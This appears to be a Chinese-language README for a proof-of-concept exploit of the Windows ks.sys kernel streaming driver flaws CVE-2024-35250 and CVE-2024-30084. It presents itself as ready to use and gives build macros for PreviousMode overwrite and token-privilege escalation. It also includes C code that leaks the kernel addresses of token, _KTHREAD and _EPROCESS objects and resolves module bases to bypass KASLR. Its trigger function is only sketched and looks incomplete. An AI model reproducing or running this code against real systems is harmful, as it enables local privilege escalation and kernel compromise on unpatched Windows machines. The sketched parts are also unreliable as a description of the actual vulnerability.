Windows Kernel Streaming Driver Exploit PoC
该项目是针对 ks.sys Windows 内核流驱动程序中多个“不可信指针解引用”漏洞(CVE-2024-35250 和 CVE-2024-30084)的概念验证代码集。它演示了攻击者如何在拥有中等完整性级别(Medium IL) 权限(如标准用户)的情况下,通过特定内核接口操作,实现读取并利用内核对象地址,最终可能导致权限提升或内核态代码执行。
功能特性
- 双漏洞覆盖:同时支持 CVE-2024-35250 与 CVE-2024-30084,通过预处理器宏切换利用目标。
- 内核对象地址泄露:利用内核流代理机制(KSProxy)获取当前进程 Token、
_KTHREAD或 System_EPROCESS的内核态虚拟地址。 - 跨平台测试:已在 Windows 11 22h2 (Build 22621) 和 Windows 10 20h2 (Build 19042) 及 VMware 虚拟机环境中验证。
- 绕过缓解措施:通过解析内核模块与句柄表信息,辅助绕过 KASLR(内核地址空间布局随机化)。
- 即用型 PoC:提供完整的 Visual Studio 项目配置,包含必要的库链接(Ksproxy, SetupAPI, ntdllp)和内核结构体定义。
安装指南
系统要求
- 操作系统:Windows 10 / 11 (x64)
- 开发环境:Visual Studio 2019 或更高版本(支持 MSVC)
- 权限:本地管理员(用于调试驱动加载)或具有测试签名模式
依赖项
项目使用以下 Windows SDK 库:
Ksproxy.lib– 内核流代理接口ksuser.lib– 内核流用户态辅助SetupAPI.lib– 设备安装函数Advapi32.lib– 高级 Windows API(令牌操作)ntdllp.lib– 原生 NT API 接口
编译步骤
- 克隆仓库并打开解决方案文件(
.sln)。 - 选择
x64平台配置(漏洞依赖于 64 位内核结构偏移)。 - 根据目标漏洞定义预处理器宏:
- 利用 CVE-2024-30084:在项目属性中定义
_CVE_2024_30084。 - 利用 Token 特权提升:定义
_SEP_TOKEN_PRIVILEGES。 - 利用 Previous Mode 覆盖:定义
_PREVIOUS_MODE。
- 利用 CVE-2024-30084:在项目属性中定义
- 生成解决方案(生成 → 生成解决方案)。
运行准备
- 以普通用户(Medium IL)身份执行编译后的可执行文件。
- 确保系统未安装针对
ks.sys的官方安全补丁(KB5040448 或更高)。
使用说明
基础示例(Token 地址泄露)
#include "common.h"
int main() {
HANDLE hDevice = GetKsDevice(KSCATEGORY_DRM_DESCRAMBLE);
if (!hDevice) return -1;
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
uint64_t ktoken_obj = 0;
GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
printf("[+] Current token kernel address: 0x%llx\n", ktoken_obj);
// 后续可利用该地址构造任意内核写原语...
return 0;
}
典型利用场景
1. 泄露 System 进程 _EPROCESS 内核地址
通过硬编码句柄值(4)获取 PID 为 4 的 System 进程内核对象指针,用于后续遍历活动进程链或窃取令牌。
2. 获取当前线程 _KTHREAD 地址
利用 OpenThread 获取当前线程句柄,然后调用 GetObjPtr 读取内核中的 _KTHREAD 结构地址。结合 _KTHREAD_PREVIOUS_MODE_OFFSET 可修改处理器模式以绕过 IRQL 检查。
3. 操作内核 Token 特权位
定位 _SEP_TOKEN_PRIVILEGES 结构偏移(示例中为 0x40),直接提升当前进程 Token 中的特权位(如 SeDebugPrivilege)。
API 概览
| 函数 | 描述 |
|---|---|
GetKsDevice(GUID) | 创建并打开指定的内核流设备(如 KSNAME_Server 或 KSCATEGORY_DRM_DESCRAMBLE) |
GetObjPtr() | 利用句柄表信息或特定漏洞原语,返回用户态句柄对应的内核对象指针(_EPROCESS, _TOKEN, _KTHREAD) |
SystemHandleInformation | 通过 NtQuerySystemInformation 泄露系统范围内所有句柄的对象地址 |
核心代码
1. 内核设备打开与对象指针泄露
/* common.h - 内核对象地址泄露核心逻辑 */
HANDLE GetKsDevice(REFGUID Category) {
HANDLE hDevice = NULL;
// 创建设备接口集合并获取流设备句柄
// ... 具体实现省略,依赖于 KsCreateDevice
return hDevice;
}
uint32_t GetObjPtr(uint64_t *pObjAddr, DWORD pid, HANDLE hHandle) {
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG size = SystemHandleInformationSize;
NTSTATUS status;
// 分配内存并查询系统句柄表
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(size);
status = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, size, NULL);
// 遍历句柄表查找匹配 (PID, HandleValue) 的条目
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if (pHandleInfo->Handles[i].UniqueProcessId == pid &&
pHandleInfo->Handles[i].HandleValue == (USHORT)hHandle) {
*pObjAddr = (uint64_t)pHandleInfo->Handles[i].Object;
free(pHandleInfo);
return 0;
}
}
free(pHandleInfo);
return -1;
}
2. 内核模块基址解析 (绕过 KASLR)
/* 获取系统模块基址,例如 ks.sys 或 ntoskrnl.exe */
uint64_t GetModuleBase(const char* moduleName) {
PSYSTEM_MODULE_INFORMATION pModuleInfo = NULL;
ULONG size = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &size);
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(size);
NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, size, NULL);
for (ULONG i = 0; i < pModuleInfo->ModulesCount; i++) {
if (strstr(pModuleInfo->Modules[i].Name, moduleName)) {
uint64_t base = (uint64_t)pModuleInfo->Modules[i].ImageBaseAddress;
free(pModuleInfo);
return base;
}
}
free(pModuleInfo);
return 0;
}
3. 漏洞触发点示例 (CVE-2024-35250 原语)
/* 通过 ks.sys 中未检查的用户态指针,触发内核读写 */
void TriggerUncheckedPointerDeref(HANDLE hDevice, PVOID FakeKernelAddr) {
// 构造特定的 KS 属性或方法操作,传递一个伪造的内核指针
KSPROPERTY property;
property.Set = KSPROPSETID_StreamInterface;
property.Id = KSPROPERTY_STREAMINTERFACE_HEADERSIZE;
property.Flags = KSPROPERTY_TYPE_SET;
// 漏洞点:驱动程序未验证用户传入的指针是否位于内核空间
// 从而允许将任意值写入 [FakeKernelAddr + offset]
DeviceIoControl(hDevice, IOCTL_KS_PROPERTY, &property, sizeof(property),
FakeKernelAddr, sizeof(PVOID), NULL, NULL);
}
6HFtX5dABrKlqXeO5PUv/7NbKPXfti/JE+R4EqSiYsQ=